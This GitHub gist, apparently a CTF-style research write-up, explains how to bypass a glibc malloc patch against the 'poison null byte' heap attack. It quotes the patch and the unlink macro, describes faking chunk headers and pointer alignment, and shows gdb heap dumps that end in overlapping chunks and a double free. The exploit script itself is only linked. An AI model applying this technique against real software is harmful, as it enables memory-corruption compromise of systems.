Skip to content

Instantly share code, notes, and snippets.

Created August 18, 2018 03:53
Show Gist options
  • Save ducphanduyagentp/1c6dd45bd92b12ae92c9b39e7b6dc9ea to your computer and use it in GitHub Desktop.
Save ducphanduyagentp/1c6dd45bd92b12ae92c9b39e7b6dc9ea to your computer and use it in GitHub Desktop.

Poison Null Byte Patched (or maybe not)

--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -4281,6 +4281,8 @@ _int_free (mstate av, mchunkptr p, int have_lock)
       prevsize = prev_size (p);
       size += prevsize;
       p = chunk_at_offset(p, -((long) prevsize));
+      if (__glibc_unlikely (chunksize(p) != prevsize))
+        malloc_printerr ("corrupted size vs. prev_size while consolidating");
       unlink(av, p, bck, fwd);

As you can see here, a new check has been added , which checks whether chunk that is getting consolidated has the same size as the PREV_SIZE which we used to land to it. This obviously fails our attack because we could set PREV_SIZE to 0x300, 0x400 and make it point to 0x120 chunk, and get huge consolidation. Not anymore. With this check, now we can only set PREV_SIZE to point to a chunk which is equally big.

Bypass (The short version)

So here is the technique which bypasses it , and not need to know about heap/libc addresses . If you want a more detailed explanation with gdb dumps and stuff, go down.

First thing that comes to mind is to create a fake size header. Then we could set PREV_SIZE to be the same as fake size header, which could be big enough to overlap. Then, we will pass that check. To bypass the SEGFAULT during the unlinking of this fake chunk, its actually possible to do it , without knowing any leaks at all. Basically the unlink macro , does this

#define unlink(AV, P, BK, FD) {                                            \
   if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
     malloc_printerr ("corrupted size vs. prev_size");                  \
   FD = P->fd;                                      \
   BK = P->bk;                                      \
   if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
     malloc_printerr ("corrupted double-linked list");                  \
   else {                                      \
       FD->bk = BK;                                  \
BK->fd = FD; 

It only checks if P's FD's BK is pointing back to P itself, and vice versa. Now normally, this is pretty secure if its pointing to main_arena, but I can also make P's FD and BK both heap pointers. After that, I can control that content on the heap, consolidate P with another chunk behind it (the usual process) , and then create a much bigger chunk, control P's content, specifically change its size to whatever I want, and set PREV_INUSE of my victim same as the chunksize(P). Thus bypassing the new commit.

When we reach unlink, the FD pointers are pointing to somewhere in the heap. At this point, I can't really explain what I have done, and how I got everything aligned, but you can make (P->fd)->bk == P and (P->bk)->fd == P , and get consolidation. All you need to make sure is this :

"P" lies on an exact memory address which has lower byte \x00 . Then we just set (P->fd)->bk by partial overwrite of \x00 (NULL Byte termination ) , and (P->fd)->fd , which will be set with whatever we enter ("AAAAAAAA") does not matter , it won't crash :)

0x564c4885e400:	0x0000000000000000	0x0000000000000131 <-- Victim
0x564c4885e410:	0x0000564c4885e000	0x0000564c4885e790
0x564c4885e420:	0x0000000000000000	0x0000000000000000
0x564c4885e430:	0x0000000000000000	0x0000000000000101 <-- gets overlapped
0x564c4885e440:	0x4242424242424242	0x4242424242424242
0x564c4885e450:	0x4242424242424242	0x4242424242424242
0x564c4885e460:	0x4242424242424242	0x4242424242424242
0x564c4885e470:	0x4242424242424242	0x4242424242424242
0x564c4885e480:	0x4242424242424242	0x4242424242424242
0x564c4885e490:	0x4242424242424242	0x4242424242424242
0x564c4885e4a0:	0x4242424242424242	0x4242424242424242
0x564c4885e4b0:	0x4242424242424242	0x4242424242424242
0x564c4885e4c0:	0x4242424242424242	0x4242424242424242
0x564c4885e4d0:	0x4242424242424242	0x4242424242424242
0x564c4885e4e0:	0x4242424242424242	0x4242424242424242
0x564c4885e4f0:	0x4242424242424242	0x4242424242424242
0x564c4885e500:	0x4242424242424242	0x4242424242424242
0x564c4885e510:	0x4242424242424242	0x4242424242424242
0x564c4885e520:	0x4242424242424242	0x4242424242424242
0x564c4885e530:	0x0000000000000130	0x0000000000000100
0x564c4885e540:	0x4343434343434343	0x4343434343434343 <-- chunk we will free

gef➤  x/4xg 0x0000564c4885e000
0x564c4885e000:	0x0000000000000000	0x0000000000000131
0x564c4885e010:	0x4141414141414141	0x0000564c4885e400 <--|
gef➤  x/4xg 0x0000564c4885e790                                |-- NULL byte to advantage
0x564c4885e790:	0x4242424242424242	0x0000000000000131    |
0x564c4885e7a0:	0x0000564c4885e400	0x00007f8062935b58 <--|

Please refer to script, and binary to see how the entire heap alignment works, and how to set pointers to P .

In the end, we get overlap, and I can even create a double free situation -- this helps in leaking because I can free from 1 ptr and then show(note) from the other.

gef➤  x/8xg &heap_ptrs 
0x564f8d4c4160 <heap_ptrs>:	0x0000564f8d886010	0x0000564f8d886140
0x564f8d4c4170 <heap_ptrs+16>:	0x0000564f8d8862e0	0x0000564f8d886440 <--
0x564f8d4c4180 <heap_ptrs+32>:	0x0000564f8d886540	0x0000564f8d886670
0x564f8d4c4190 <heap_ptrs+48>:	0x0000564f8d8867a0	0x0000564f8d8868d0
0x564f8d4c41a0 <heap_ptrs+64>:	0x0000564f8d886a00	0x0000000000000000
0x564f8d4c41b0 <heap_ptrs+80>:	0x0000000000000000	0x0000000000000000
0x564f8d4c41c0 <heap_ptrs+96>:	0x0000564f8d886410	0x0000564f8d886440 <--

Link : Github


It does not matter the NULL byte termination or not, we can use it to our advantage and set random heap pointers to point to our fake chunk which is on an exact address with lower byte set to \x00 . We also passed the check of chunksize(p) == PREV_SIZE and overlapped the 0x111 chunk and got 2 pointers pointing to it, without knowing any leak at all. POISON NULL BYTE is not dead :)

I didnt have time to rewrite a binary from scratch to test this out on , so I reused a previous binary which does not null terminate by default, and does not ask for input right away after the malloc call, but I made sure to exploit it using my NULL termination.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment